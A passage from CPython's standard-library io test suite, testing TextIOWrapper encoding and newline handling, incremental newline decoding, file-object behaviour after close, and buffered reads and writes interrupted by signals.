txt.buffer = buf def test_rawio(self): # Issue #12591: TextIOWrapper must work with raw I/O objects, so # that subprocess.Popen() can have the required unbuffered # semantics with universal_newlines=True. raw = self.MockRawIO([b'abc', b'def', b'ghi\njkl\nopq\n']) txt = self.TextIOWrapper(raw, encoding='ascii', newline='\n') # Reads self.assertEqual(txt.read(4), 'abcd') self.assertEqual(txt.readline(), 'efghi\n') self.assertEqual(list(txt), ['jkl\n', 'opq\n']) def test_rawio_write_through(self): # Issue #12591: with write_through=True, writes don't need a flush raw = self.MockRawIO([b'abc', b'def', b'ghi\njkl\nopq\n']) txt = self.TextIOWrapper(raw, encoding='ascii', newline='\n', write_through=True) txt.write('1') txt.write('23\n4') txt.write('5') self.assertEqual(b''.join(raw._write_stack), b'123\n45') def test_bufio_write_through(self): # Issue #21396: write_through=True doesn't force a flush() # on the underlying binary buffered object. flush_called, write_called = [], [] class BufferedWriter(self.BufferedWriter): def flush(self, *args, **kwargs): flush_called.append(True) return super().flush(*args, **kwargs) def write(self, *args, **kwargs): write_called.append(True) return super().write(*args, **kwargs) rawio = self.BytesIO() data = b"a" bufio = BufferedWriter(rawio, len(data)*2) textio = self.TextIOWrapper(bufio, encoding='ascii', write_through=True) # write to the buffered io but don't overflow the buffer text = data.decode('ascii') textio.write(text) # buffer.flush is not called with write_through=True self.assertFalse(flush_called) # buffer.write *is* called with write_through=True self.assertTrue(write_called) self.assertEqual(rawio.getvalue(), b"") # no flush write_called = [] # reset textio.write(text * 10) # total content is larger than bufio buffer self.assertTrue(write_called) self.assertEqual(rawio.getvalue(), data * 11) # all flushed def test_reconfigure_write_through(self): raw = self.MockRawIO([]) t = self.TextIOWrapper(raw, encoding='ascii', newline='\n') t.write('1') t.reconfigure(write_through=True) # implied flush self.assertEqual(t.write_through, True) self.assertEqual(b''.join(raw._write_stack), b'1') t.write('23') self.assertEqual(b''.join(raw._write_stack), b'123') t.reconfigure(write_through=False) self.assertEqual(t.write_through, False) t.write('45') t.flush() self.assertEqual(b''.join(raw._write_stack), b'12345') # Keeping default value t.reconfigure() t.reconfigure(write_through=None) self.assertEqual(t.write_through, False) t.reconfigure(write_through=True) t.reconfigure() t.reconfigure(write_through=None) self.assertEqual(t.write_through, True) def test_read_nonbytes(self): # Issue #17106 # Crash when underlying read() returns non-bytes t = self.TextIOWrapper(self.StringIO('a')) self.assertRaises(TypeError, t.read, 1) t = self.TextIOWrapper(self.StringIO('a')) self.assertRaises(TypeError, t.readline) t = self.TextIOWrapper(self.StringIO('a')) self.assertRaises(TypeError, t.read) def test_illegal_encoder(self): # Issue 31271: Calling write() while the return value of encoder's # encode() is invalid shouldn't cause an assertion failure. rot13 = codecs.lookup("rot13") with support.swap_attr(rot13, '_is_text_encoding', True): t = io.TextIOWrapper(io.BytesIO(b'foo'), encoding="rot13") self.assertRaises(TypeError, t.write, 'bar') def test_illegal_decoder(self): # Issue #17106 # Bypass the early encoding check added in issue 20404 def _make_illegal_wrapper(): quopri = codecs.lookup("quopri") quopri._is_text_encoding = True try: t = self.TextIOWrapper(self.BytesIO(b'aaaaaa'), newline='\n', encoding="quopri") finally: quopri._is_text_encoding = False return t # Crash when decoder returns non-string t = _make_illegal_wrapper() self.assertRaises(TypeError, t.read, 1) t = _make_illegal_wrapper() self.assertRaises(TypeError, t.readline) t = _make_illegal_wrapper() self.assertRaises(TypeError, t.read) # Issue 31243: calling read() while the return value of decoder's # getstate() is invalid should neither crash the interpreter nor # raise a SystemError. def _make_very_illegal_wrapper(getstate_ret_val): class BadDecoder: def getstate(self): return getstate_ret_val def _get_bad_decoder(dummy): return BadDecoder() quopri = codecs.lookup("quopri") with support.swap_attr(quopri, 'incrementaldecoder', _get_bad_decoder): return _make_illegal_wrapper() t = _make_very_illegal_wrapper(42) self.assertRaises(TypeError, t.read, 42) t = _make_very_illegal_wrapper(()) self.assertRaises(TypeError, t.read, 42) t = _make_very_illegal_wrapper((1, 2)) self.assertRaises(TypeError, t.read, 42) def _check_create_at_shutdown(self, **kwargs): # Issue #20037: creating a TextIOWrapper at shutdown # shouldn't crash the interpreter. iomod = self.io.__name__ code = """if 1: import codecs import {iomod} as io # Avoid looking up codecs at shutdown codecs.lookup('utf-8') class C: def __init__(self): self.buf = io.BytesIO() def __del__(self): io.TextIOWrapper(self.buf, **{kwargs}) print("ok") c = C() """.format(iomod=iomod, kwargs=kwargs) return assert_python_ok("-c", code) @support.requires_type_collecting def test_create_at_shutdown_without_encoding(self): rc, out, err = self._check_create_at_shutdown() if err: # Can error out with a RuntimeError if the module state # isn't found. self.assertIn(self.shutdown_error, err.decode()) else: self.assertEqual("ok", out.decode().strip()) @support.requires_type_collecting def test_create_at_shutdown_with_encoding(self): rc, out, err = self._check_create_at_shutdown(encoding='utf-8', errors='strict') self.assertFalse(err) self.assertEqual("ok", out.decode().strip()) def test_read_byteslike(self): r = MemviewBytesIO(b'Just some random string\n') t = self.TextIOWrapper(r, 'utf-8') # TextIOwrapper will not read the full string, because # we truncate it to a multiple of the native int size # so that we can construct a more complex memoryview. bytes_val = _to_memoryview(r.getvalue()).tobytes() self.assertEqual(t.read(200), bytes_val.decode('utf-8')) def test_issue22849(self): class F(object): def readable(self): return True def writable(self): return True def seekable(self): return True for i in range(10): try: self.TextIOWrapper(F(), encoding='utf-8') except Exception: pass F.tell = lambda x: 0 t = self.TextIOWrapper(F(), encoding='utf-8') def test_reconfigure_encoding_read(self): # latin1 -> utf8 # (latin1 can decode utf-8 encoded string) data = 'abc\xe9\n'.encode('latin1') + 'd\xe9f\n'.encode('utf8') raw = self.BytesIO(data) txt = self.TextIOWrapper(raw, encoding='latin1', newline='\n') self.assertEqual(txt.readline(), 'abc\xe9\n') with self.assertRaises(self.UnsupportedOperation): txt.reconfigure(encoding='utf-8') with self.assertRaises(self.UnsupportedOperation): txt.reconfigure(newline=None) def test_reconfigure_write_fromascii(self): # ascii has a specific encodefunc in the C implementation, # but utf-8-sig has not. Make sure that we get rid of the # cached encodefunc when we switch encoders. raw = self.BytesIO() txt = self.TextIOWrapper(raw, encoding='ascii', newline='\n') txt.write('foo\n') txt.reconfigure(encoding='utf-8-sig') txt.write('\xe9\n') txt.flush() self.assertEqual(raw.getvalue(), b'foo\n\xc3\xa9\n') def test_reconfigure_write(self): # latin -> utf8 raw = self.BytesIO() txt = self.TextIOWrapper(raw, encoding='latin1', newline='\n') txt.write('abc\xe9\n') txt.reconfigure(encoding='utf-8') self.assertEqual(raw.getvalue(), b'abc\xe9\n') txt.write('d\xe9f\n') txt.flush() self.assertEqual(raw.getvalue(), b'abc\xe9\nd\xc3\xa9f\n') # ascii -> utf-8-sig: ensure that no BOM is written in the middle of # the file raw = self.BytesIO() txt = self.TextIOWrapper(raw, encoding='ascii', newline='\n') txt.write('abc\n') txt.reconfigure(encoding='utf-8-sig') txt.write('d\xe9f\n') txt.flush() self.assertEqual(raw.getvalue(), b'abc\nd\xc3\xa9f\n') def test_reconfigure_write_non_seekable(self): raw = self.BytesIO() raw.seekable = lambda: False raw.seek = None txt = self.TextIOWrapper(raw, encoding='ascii', newline='\n') txt.write('abc\n') txt.reconfigure(encoding='utf-8-sig') txt.write('d\xe9f\n') txt.flush() # If the raw stream is not seekable, there'll be a BOM self.assertEqual(raw.getvalue(), b'abc\n\xef\xbb\xbfd\xc3\xa9f\n') def test_reconfigure_defaults(self): txt = self.TextIOWrapper(self.BytesIO(), 'ascii', 'replace', '\n') txt.reconfigure(encoding=None) self.assertEqual(txt.encoding, 'ascii') self.assertEqual(txt.errors, 'replace') txt.write('LF\n') txt.reconfigure(newline='\r\n') self.assertEqual(txt.encoding, 'ascii') self.assertEqual(txt.errors, 'replace') txt.reconfigure(errors='ignore') self.assertEqual(txt.encoding, 'ascii') self.assertEqual(txt.errors, 'ignore') txt.write('CRLF\n') txt.reconfigure(encoding='utf-8', newline=None) self.assertEqual(txt.errors, 'strict') txt.seek(0) self.assertEqual(txt.read(), 'LF\nCRLF\n') self.assertEqual(txt.detach().getvalue(), b'LF\nCRLF\r\n') def test_reconfigure_newline(self): raw = self.BytesIO(b'CR\rEOF') txt = self.TextIOWrapper(raw, 'ascii', newline='\n') txt.reconfigure(newline=None) self.assertEqual(txt.readline(), 'CR\n') raw = self.BytesIO(b'CR\rEOF') txt = self.TextIOWrapper(raw, 'ascii', newline='\n') txt.reconfigure(newline='') self.assertEqual(txt.readline(), 'CR\r') raw = self.BytesIO(b'CR\rLF\nEOF') txt = self.TextIOWrapper(raw, 'ascii', newline='\r') txt.reconfigure(newline='\n') self.assertEqual(txt.readline(), 'CR\rLF\n') raw = self.BytesIO(b'LF\nCR\rEOF') txt = self.TextIOWrapper(raw, 'ascii', newline='\n') txt.reconfigure(newline='\r') self.assertEqual(txt.readline(), 'LF\nCR\r') raw = self.BytesIO(b'CR\rCRLF\r\nEOF') txt = self.TextIOWrapper(raw, 'ascii', newline='\r') txt.reconfigure(newline='\r\n') self.assertEqual(txt.readline(), 'CR\rCRLF\r\n') txt = self.TextIOWrapper(self.BytesIO(), 'ascii', newline='\r') txt.reconfigure(newline=None) txt.write('linesep\n') txt.reconfigure(newline='') txt.write('LF\n') txt.reconfigure(newline='\n') txt.write('LF\n') txt.reconfigure(newline='\r') txt.write('CR\n') txt.reconfigure(newline='\r\n') txt.write('CRLF\n') expected = 'linesep' + os.linesep + 'LF\nLF\nCR\rCRLF\r\n' self.assertEqual(txt.detach().getvalue().decode('ascii'), expected) def test_issue25862(self): # Assertion failures occurred in tell() after read() and write(). t = self.TextIOWrapper(self.BytesIO(b'test'), encoding='ascii') t.read(1) t.read() t.tell() t = self.TextIOWrapper(self.BytesIO(b'test'), encoding='ascii') t.read(1) t.write('x') t.tell() class MemviewBytesIO(io.BytesIO): '''A BytesIO object whose read method returns memoryviews rather than bytes''' def read1(self, len_): return _to_memoryview(super().read1(len_)) def read(self, len_): return _to_memoryview(super().read(len_)) def _to_memoryview(buf): '''Convert bytes-object *buf* to a non-trivial memoryview''' arr = array.array('i') idx = len(buf) - len(buf) % arr.itemsize arr.frombytes(buf[:idx]) return memoryview(arr) class CTextIOWrapperTest(TextIOWrapperTest): io = io shutdown_error = "RuntimeError: could not find io module state" def test_initialization(self): r = self.BytesIO(b"\xc3\xa9\n\n") b = self.BufferedReader(r, 1000) t = self.TextIOWrapper(b) self.assertRaises(ValueError, t.__init__, b, newline='xyzzy') self.assertRaises(ValueError, t.read) t = self.TextIOWrapper.__new__(self.TextIOWrapper) self.assertRaises(Exception, repr, t) def test_garbage_collection(self): # C TextIOWrapper objects are collected, and collecting them flushes # all data to disk. # The Python version has __del__, so it ends in gc.garbage instead. with support.check_warnings(('', ResourceWarning)): rawio = io.FileIO(support.TESTFN, "wb") b = self.BufferedWriter(rawio) t = self.TextIOWrapper(b, encoding="ascii") t.write("456def") t.x = t wr = weakref.ref(t) del t support.gc_collect() self.assertIsNone(wr(), wr) with self.open(support.TESTFN, "rb") as f: self.assertEqual(f.read(), b"456def") def test_rwpair_cleared_before_textio(self): # Issue 13070: TextIOWrapper's finalization would crash when called # after the reference to the underlying BufferedRWPair's writer got # cleared by the GC. for i in range(1000): b1 = self.BufferedRWPair(self.MockRawIO(), self.MockRawIO()) t1 = self.TextIOWrapper(b1, encoding="ascii") b2 = self.BufferedRWPair(self.MockRawIO(), self.MockRawIO()) t2 = self.TextIOWrapper(b2, encoding="ascii") # circular references t1.buddy = t2 t2.buddy = t1 support.gc_collect() def test_del__CHUNK_SIZE_SystemError(self): t = self.TextIOWrapper(self.BytesIO(), encoding='ascii') with self.assertRaises(AttributeError): del t._CHUNK_SIZE class PyTextIOWrapperTest(TextIOWrapperTest): io = pyio shutdown_error = "LookupError: unknown encoding: ascii" class IncrementalNewlineDecoderTest(unittest.TestCase): def check_newline_decoding_utf8(self, decoder): # UTF-8 specific tests for a newline decoder def _check_decode(b, s, **kwargs): # We exercise getstate() / setstate() as well as decode() state = decoder.getstate() self.assertEqual(decoder.decode(b, **kwargs), s) decoder.setstate(state) self.assertEqual(decoder.decode(b, **kwargs), s) _check_decode(b'\xe8\xa2\x88', "\u8888") _check_decode(b'\xe8', "") _check_decode(b'\xa2', "") _check_decode(b'\x88', "\u8888") _check_decode(b'\xe8', "") _check_decode(b'\xa2', "") _check_decode(b'\x88', "\u8888") _check_decode(b'\xe8', "") self.assertRaises(UnicodeDecodeError, decoder.decode, b'', final=True) decoder.reset() _check_decode(b'\n', "\n") _check_decode(b'\r', "") _check_decode(b'', "\n", final=True) _check_decode(b'\r', "\n", final=True) _check_decode(b'\r', "") _check_decode(b'a', "\na") _check_decode(b'\r\r\n', "\n\n") _check_decode(b'\r', "") _check_decode(b'\r', "\n") _check_decode(b'\na', "\na") _check_decode(b'\xe8\xa2\x88\r\n', "\u8888\n") _check_decode(b'\xe8\xa2\x88', "\u8888") _check_decode(b'\n', "\n") _check_decode(b'\xe8\xa2\x88\r', "\u8888") _check_decode(b'\n', "\n") def check_newline_decoding(self, decoder, encoding): result = [] if encoding is not None: encoder = codecs.getincrementalencoder(encoding)() def _decode_bytewise(s): # Decode one byte at a time for b in encoder.encode(s): result.append(decoder.decode(bytes([b]))) else: encoder = None def _decode_bytewise(s): # Decode one char at a time for c in s: result.append(decoder.decode(c)) self.assertEqual(decoder.newlines, None) _decode_bytewise("abc\n\r") self.assertEqual(decoder.newlines, '\n') _decode_bytewise("\nabc") self.assertEqual(decoder.newlines, ('\n', '\r\n')) _decode_bytewise("abc\r") self.assertEqual(decoder.newlines, ('\n', '\r\n')) _decode_bytewise("abc") self.assertEqual(decoder.newlines, ('\r', '\n', '\r\n')) _decode_bytewise("abc\r") self.assertEqual("".join(result), "abc\n\nabcabc\nabcabc") decoder.reset() input = "abc" if encoder is not None: encoder.reset() input = encoder.encode(input) self.assertEqual(decoder.decode(input), "abc") self.assertEqual(decoder.newlines, None) def test_newline_decoder(self): encodings = ( # None meaning the IncrementalNewlineDecoder takes unicode input # rather than bytes input None, 'utf-8', 'latin-1', 'utf-16', 'utf-16-le', 'utf-16-be', 'utf-32', 'utf-32-le', 'utf-32-be', ) for enc in encodings: decoder = enc and codecs.getincrementaldecoder(enc)() decoder = self.IncrementalNewlineDecoder(decoder, translate=True) self.check_newline_decoding(decoder, enc) decoder = codecs.getincrementaldecoder("utf-8")() decoder = self.IncrementalNewlineDecoder(decoder, translate=True) self.check_newline_decoding_utf8(decoder) self.assertRaises(TypeError, decoder.setstate, 42) def test_newline_bytes(self): # Issue 5433: Excessive optimization in IncrementalNewlineDecoder def _check(dec): self.assertEqual(dec.newlines, None) self.assertEqual(dec.decode("\u0D00"), "\u0D00") self.assertEqual(dec.newlines, None) self.assertEqual(dec.decode("\u0A00"), "\u0A00") self.assertEqual(dec.newlines, None) dec = self.IncrementalNewlineDecoder(None, translate=False) _check(dec) dec = self.IncrementalNewlineDecoder(None, translate=True) _check(dec) def test_translate(self): # issue 35062 for translate in (-2, -1, 1, 2): decoder = codecs.getincrementaldecoder("utf-8")() decoder = self.IncrementalNewlineDecoder(decoder, translate) self.check_newline_decoding_utf8(decoder) decoder = codecs.getincrementaldecoder("utf-8")() decoder = self.IncrementalNewlineDecoder(decoder, translate=0) self.assertEqual(decoder.decode(b"\r\r\n"), "\r\r\n") class CIncrementalNewlineDecoderTest(IncrementalNewlineDecoderTest): pass class PyIncrementalNewlineDecoderTest(IncrementalNewlineDecoderTest): pass # XXX Tests for open() class MiscIOTest(unittest.TestCase): def tearDown(self): support.unlink(support.TESTFN) def test___all__(self): for name in self.io.__all__: obj = getattr(self.io, name, None) self.assertIsNotNone(obj, name) if name == "open": continue elif "error" in name.lower() or name == "UnsupportedOperation": self.assertTrue(issubclass(obj, Exception), name) elif not name.startswith("SEEK_"): self.assertTrue(issubclass(obj, self.IOBase)) def test_attributes(self): f = self.open(support.TESTFN, "wb", buffering=0) self.assertEqual(f.mode, "wb") f.close() with support.check_warnings(('', DeprecationWarning)): f = self.open(support.TESTFN, "U") self.assertEqual(f.name, support.TESTFN) self.assertEqual(f.buffer.name, support.TESTFN) self.assertEqual(f.buffer.raw.name, support.TESTFN) self.assertEqual(f.mode, "U") self.assertEqual(f.buffer.mode, "rb") self.assertEqual(f.buffer.raw.mode, "rb") f.close() f = self.open(support.TESTFN, "w+") self.assertEqual(f.mode, "w+") self.assertEqual(f.buffer.mode, "rb+") # Does it really matter? self.assertEqual(f.buffer.raw.mode, "rb+") g = self.open(f.fileno(), "wb", closefd=False) self.assertEqual(g.mode, "wb") self.assertEqual(g.raw.mode, "wb") self.assertEqual(g.name, f.fileno()) self.assertEqual(g.raw.name, f.fileno()) f.close() g.close() def test_io_after_close(self): for kwargs in [ {"mode": "w"}, {"mode": "wb"}, {"mode": "w", "buffering": 1}, {"mode": "w", "buffering": 2}, {"mode": "wb", "buffering": 0}, {"mode": "r"}, {"mode": "rb"}, {"mode": "r", "buffering": 1}, {"mode": "r", "buffering": 2}, {"mode": "rb", "buffering": 0}, {"mode": "w+"}, {"mode": "w+b"}, {"mode": "w+", "buffering": 1}, {"mode": "w+", "buffering": 2}, {"mode": "w+b", "buffering": 0}, ]: f = self.open(support.TESTFN, **kwargs) f.close() self.assertRaises(ValueError, f.flush) self.assertRaises(ValueError, f.fileno) self.assertRaises(ValueError, f.isatty) self.assertRaises(ValueError, f.__iter__) if hasattr(f, "peek"): self.assertRaises(ValueError, f.peek, 1) self.assertRaises(ValueError, f.read) if hasattr(f, "read1"): self.assertRaises(ValueError, f.read1, 1024) self.assertRaises(ValueError, f.read1) if hasattr(f, "readall"): self.assertRaises(ValueError, f.readall) if hasattr(f, "readinto"): self.assertRaises(ValueError, f.readinto, bytearray(1024)) if hasattr(f, "readinto1"): self.assertRaises(ValueError, f.readinto1, bytearray(1024)) self.assertRaises(ValueError, f.readline) self.assertRaises(ValueError, f.readlines) self.assertRaises(ValueError, f.readlines, 1) self.assertRaises(ValueError, f.seek, 0) self.assertRaises(ValueError, f.tell) self.assertRaises(ValueError, f.truncate) self.assertRaises(ValueError, f.write, b"" if "b" in kwargs['mode'] else "") self.assertRaises(ValueError, f.writelines, []) self.assertRaises(ValueError, next, f) def test_blockingioerror(self): # Various BlockingIOError issues class C(str): pass c = C("") b = self.BlockingIOError(1, c) c.b = b b.c = c wr = weakref.ref(c) del c, b support.gc_collect() self.assertIsNone(wr(), wr) def test_abcs(self): # Test the visible base classes are ABCs. self.assertIsInstance(self.IOBase, abc.ABCMeta) self.assertIsInstance(self.RawIOBase, abc.ABCMeta) self.assertIsInstance(self.BufferedIOBase, abc.ABCMeta) self.assertIsInstance(self.TextIOBase, abc.ABCMeta) def _check_abc_inheritance(self, abcmodule): with self.open(support.TESTFN, "wb", buffering=0) as f: self.assertIsInstance(f, abcmodule.IOBase) self.assertIsInstance(f, abcmodule.RawIOBase) self.assertNotIsInstance(f, abcmodule.BufferedIOBase) self.assertNotIsInstance(f, abcmodule.TextIOBase) with self.open(support.TESTFN, "wb") as f: self.assertIsInstance(f, abcmodule.IOBase) self.assertNotIsInstance(f, abcmodule.RawIOBase) self.assertIsInstance(f, abcmodule.BufferedIOBase) self.assertNotIsInstance(f, abcmodule.TextIOBase) with self.open(support.TESTFN, "w") as f: self.assertIsInstance(f, abcmodule.IOBase) self.assertNotIsInstance(f, abcmodule.RawIOBase) self.assertNotIsInstance(f, abcmodule.BufferedIOBase) self.assertIsInstance(f, abcmodule.TextIOBase) def test_abc_inheritance(self): # Test implementations inherit from their respective ABCs self._check_abc_inheritance(self) def test_abc_inheritance_official(self): # Test implementations inherit from the official ABCs of the # baseline "io" module. self._check_abc_inheritance(io) def _check_warn_on_dealloc(self, *args, **kwargs): f = open(*args, **kwargs) r = repr(f) with self.assertWarns(ResourceWarning) as cm: f = None support.gc_collect() self.assertIn(r, str(cm.warning.args[0])) def test_warn_on_dealloc(self): self._check_warn_on_dealloc(support.TESTFN, "wb", buffering=0) self._check_warn_on_dealloc(support.TESTFN, "wb") self._check_warn_on_dealloc(support.TESTFN, "w") def _check_warn_on_dealloc_fd(self, *args, **kwargs): fds = [] def cleanup_fds(): for fd in fds: try: os.close(fd) except OSError as e: if e.errno != errno.EBADF: raise self.addCleanup(cleanup_fds) r, w = os.pipe() fds += r, w self._check_warn_on_dealloc(r, *args, **kwargs) # When using closefd=False, there's no warning r, w = os.pipe() fds += r, w with support.check_no_resource_warning(self): open(r, *args, closefd=False, **kwargs) def test_warn_on_dealloc_fd(self): self._check_warn_on_dealloc_fd("rb", buffering=0) self._check_warn_on_dealloc_fd("rb") self._check_warn_on_dealloc_fd("r") def test_pickling(self): # Pickling file objects is forbidden for kwargs in [ {"mode": "w"}, {"mode": "wb"}, {"mode": "wb", "buffering": 0}, {"mode": "r"}, {"mode": "rb"}, {"mode": "rb", "buffering": 0}, {"mode": "w+"}, {"mode": "w+b"}, {"mode": "w+b", "buffering": 0}, ]: for protocol in range(pickle.HIGHEST_PROTOCOL + 1): with self.open(support.TESTFN, **kwargs) as f: self.assertRaises(TypeError, pickle.dumps, f, protocol) def test_nonblock_pipe_write_bigbuf(self): self._test_nonblock_pipe_write(16*1024) def test_nonblock_pipe_write_smallbuf(self): self._test_nonblock_pipe_write(1024) @unittest.skipUnless(hasattr(os, 'set_blocking'), 'os.set_blocking() required for this test') def _test_nonblock_pipe_write(self, bufsize): sent = [] received = [] r, w = os.pipe() os.set_blocking(r, False) os.set_blocking(w, False) # To exercise all code paths in the C implementation we need # to play with buffer sizes. For instance, if we choose a # buffer size less than or equal to _PIPE_BUF (4096 on Linux) # then we will never get a partial write of the buffer. rf = self.open(r, mode='rb', closefd=True, buffering=bufsize) wf = self.open(w, mode='wb', closefd=True, buffering=bufsize) with rf, wf: for N in 9999, 73, 7574: try: i = 0 while True: msg = bytes([i % 26 + 97]) * N sent.append(msg) wf.write(msg) i += 1 except self.BlockingIOError as e: self.assertEqual(e.args[0], errno.EAGAIN) self.assertEqual(e.args[2], e.characters_written) sent[-1] = sent[-1][:e.characters_written] received.append(rf.read()) msg = b'BLOCKED' wf.write(msg) sent.append(msg) while True: try: wf.flush() break except self.BlockingIOError as e: self.assertEqual(e.args[0], errno.EAGAIN) self.assertEqual(e.args[2], e.characters_written) self.assertEqual(e.characters_written, 0) received.append(rf.read()) received += iter(rf.read, None) sent, received = b''.join(sent), b''.join(received) self.assertEqual(sent, received) self.assertTrue(wf.closed) self.assertTrue(rf.closed) def test_create_fail(self): # 'x' mode fails if file is existing with self.open(support.TESTFN, 'w'): pass self.assertRaises(FileExistsError, self.open, support.TESTFN, 'x') def test_create_writes(self): # 'x' mode opens for writing with self.open(support.TESTFN, 'xb') as f: f.write(b"spam") with self.open(support.TESTFN, 'rb') as f: self.assertEqual(b"spam", f.read()) def test_open_allargs(self): # there used to be a buffer overflow in the parser for rawmode self.assertRaises(ValueError, self.open, support.TESTFN, 'rwax+') class CMiscIOTest(MiscIOTest): io = io def test_readinto_buffer_overflow(self): # Issue #18025 class BadReader(self.io.BufferedIOBase): def read(self, n=-1): return b'x' * 10**6 bufio = BadReader() b = bytearray(2) self.assertRaises(ValueError, bufio.readinto, b) def check_daemon_threads_shutdown_deadlock(self, stream_name): # Issue #23309: deadlocks at shutdown should be avoided when a # daemon thread and the main thread both write to a file. code = """if 1: import sys import time import threading from test.support import SuppressCrashReport file = sys.{stream_name} def run(): while True: file.write('.') file.flush() crash = SuppressCrashReport() crash.__enter__() # don't call __exit__(): the crash occurs at Python shutdown thread = threading.Thread(target=run) thread.daemon = True thread.start() time.sleep(0.5) file.write('!') file.flush() """.format_map(locals()) res, _ = run_python_until_end("-c", code) err = res.err.decode() if res.rc != 0: # Failure: should be a fatal error pattern = (r"Fatal Python error: could not acquire lock " r"for <(_io\.)?BufferedWriter name='<{stream_name}>'> " r"at interpreter shutdown, possibly due to " r"daemon threads".format_map(locals())) self.assertRegex(err, pattern) else: self.assertFalse(err.strip('.!')) def test_daemon_threads_shutdown_stdout_deadlock(self): self.check_daemon_threads_shutdown_deadlock('stdout') def test_daemon_threads_shutdown_stderr_deadlock(self): self.check_daemon_threads_shutdown_deadlock('stderr') class PyMiscIOTest(MiscIOTest): io = pyio @unittest.skipIf(os.name == 'nt', 'POSIX signals required for this test.') class SignalsTest(unittest.TestCase): def setUp(self): self.oldalrm = signal.signal(signal.SIGALRM, self.alarm_interrupt) def tearDown(self): signal.signal(signal.SIGALRM, self.oldalrm) def alarm_interrupt(self, sig, frame): 1/0 def check_interrupted_write(self, item, bytes, **fdopen_kwargs): """Check that a partial write, when it gets interrupted, properly invokes the signal handler, and bubbles up the exception raised in the latter.""" read_results = [] def _read(): s = os.read(r, 1) read_results.append(s) t = threading.Thread(target=_read) t.daemon = True r, w = os.pipe() fdopen_kwargs["closefd"] = False large_data = item * (support.PIPE_MAX_SIZE // len(item) + 1) try: wio = self.io.open(w, **fdopen_kwargs) if hasattr(signal, 'pthread_sigmask'): # create the thread with SIGALRM signal blocked signal.pthread_sigmask(signal.SIG_BLOCK, [signal.SIGALRM]) t.start() signal.pthread_sigmask(signal.SIG_UNBLOCK, [signal.SIGALRM]) else: t.start() # Fill the pipe enough that the write will be blocking. # It will be interrupted by the timer armed above. Since the # other thread has read one byte, the low-level write will # return with a successful (partial) result rather than an EINTR. # The buffered IO layer must check for pending signal # handlers, which in this case will invoke alarm_interrupt(). signal.alarm(1) try: self.assertRaises(ZeroDivisionError, wio.write, large_data) finally: signal.alarm(0) t.join() # We got one byte, get another one and check that it isn't a # repeat of the first one. read_results.append(os.read(r, 1)) self.assertEqual(read_results, [bytes[0:1], bytes[1:2]]) finally: os.close(w) os.close(r) # This is deliberate. If we didn't close the file descriptor # before closing wio, wio would try to flush its internal # buffer, and block again. try: wio.close() except OSError as e: if e.errno != errno.EBADF: raise def test_interrupted_write_unbuffered(self): self.check_interrupted_write(b"xy", b"xy", mode="wb", buffering=0) def test_interrupted_write_buffered(self): self.check_interrupted_write(b"xy", b"xy", mode="wb") def test_interrupted_write_text(self): self.check_interrupted_write("xy", b"xy", mode="w", encoding="ascii") @support.no_tracing def check_reentrant_write(self, data, **fdopen_kwargs): def on_alarm(*args): # Will be called reentrantly from the same thread wio.write(data) 1/0 signal.signal(signal.SIGALRM, on_alarm) r, w = os.pipe() wio = self.io.open(w, **fdopen_kwargs) try: signal.alarm(1) # Either the reentrant call to wio.write() fails with RuntimeError, # or the signal handler raises ZeroDivisionError. with self.assertRaises((ZeroDivisionError, RuntimeError)) as cm: while 1: for i in range(100): wio.write(data) wio.flush() # Make sure the buffer doesn't fill up and block further writes os.read(r, len(data) * 100) exc = cm.exception if isinstance(exc, RuntimeError): self.assertTrue(str(exc).startswith("reentrant call"), str(exc)) finally: signal.alarm(0) wio.close() os.close(r) def test_reentrant_write_buffered(self): self.check_reentrant_write(b"xy", mode="wb") def test_reentrant_write_text(self): self.check_reentrant_write("xy", mode="w", encoding="ascii") def check_interrupted_read_retry(self, decode, **fdopen_kwargs): """Check that a buffered read, when it gets interrupted (either returning a partial result or EINTR), properly invokes the signal handler and retries if the latter returned successfully.""" r, w = os.pipe() fdopen_kwargs["closefd"] = False def alarm_handler(sig, frame): os.write(w, b"bar") signal.signal(signal.SIGALRM, alarm_handler) try: rio = self.io.open(r, **fdopen_kwargs) os.write(w, b"foo") signal.alarm(1) # Expected behaviour: # - first raw read() returns partial b"foo" # - second raw read() returns EINTR # - third raw read() returns b"bar" self.assertEqual(decode(rio.read(6)), "foobar") finally: signal.alarm(0) rio.close() os.close(w) os.close(r) def test_interrupted_read_retry_buffered(self): self.check_interrupted_read_retry(lambda x: x.decode('latin1'), mode="rb") def test_interrupted_read_retry_text(self): self.check_interrupted_read_retry(lambda x: x, mode="r") def check_interrupted_write_retry(self, item, **fdopen_kwargs): """Check that a buffered write, when it gets interrupted (either returning a partial result or EINTR), properly invokes the signal handler and retries if the latter returned successfully.""" select = support.import_module("select") # A quantity that exceeds the buffer size of an anonymous pipe's # write end. N = support.PIPE_MAX_SIZE r, w = os.pipe() fdopen_kwargs["closefd"] = False # We need a separate thread to read from the pipe and allow the # write() to finish. This thread is started after the SIGALRM is # received (forcing a first EINTR in write()). read_results = [] write_finished = False error = None def _read(): try: while not write_finished: while r in select.select([r], [], [], 1.0)[0]: s = os.read(r, 1024) read_results.append(s) except BaseException as exc: nonlocal error error = exc t = threading.Thread(target=_read) t.daemon = True def alarm1(sig, frame): signal.signal(signal.SIGALRM, alarm2) signal.alarm(1) def alarm2(sig, frame): t.start() large_data = item * N signal.signal(signal.SIGALRM, alarm1) try: wio = self.io.open(w, **fdopen_kwargs) signal.alarm(1) # Expected behaviour: # - first raw write() is partial (because of the limited pipe buffer # and the first alarm) # - second raw write() returns EINTR (because of the second alarm) # - subsequent write()s are successful (either partial or complete) written = wio.write(large_data) self.assertEqual(N, written) wio.flush() write_finished = True t.join() self.assertIsNone(error) self.assertEqual(N, sum(len(x) for x in read_results)) finally: signal.alarm(0) write_finished = True os.close(w) os.close(r) # This is deliberate. If we didn't close the file descriptor # before closing wio, wio would try to flush its internal # buffer, and could block (in case of failure). try: wio.close() except OSError as e: if e.errno != errno.EBADF: raise def test_interrupted_write_retry_buffered(self): self.check_interrupted_write_retry(b"x", mode="wb") def test_interrupted_write_retry_text(self): self.check_interrupted_write_retry("x", mode="w", encoding="latin1") class CSignalsTest(SignalsTest): io = io class PySignalsTest(SignalsTest): io = pyio # Handling reentrancy issues would slow down _pyio even more, so the # tests are disabled. test_reentrant_write_buffered = None test_reentrant_write_text = None def load_tests(*args): tests = (CIOTest, PyIOTest, APIMismatchTest, CBufferedReaderTest, PyBufferedReaderTest, CBufferedWriterTest, PyBufferedWriterTest, CBufferedRWPairTest, PyBufferedRWPairTest, CBufferedRandomTest, PyBufferedRandomTest, 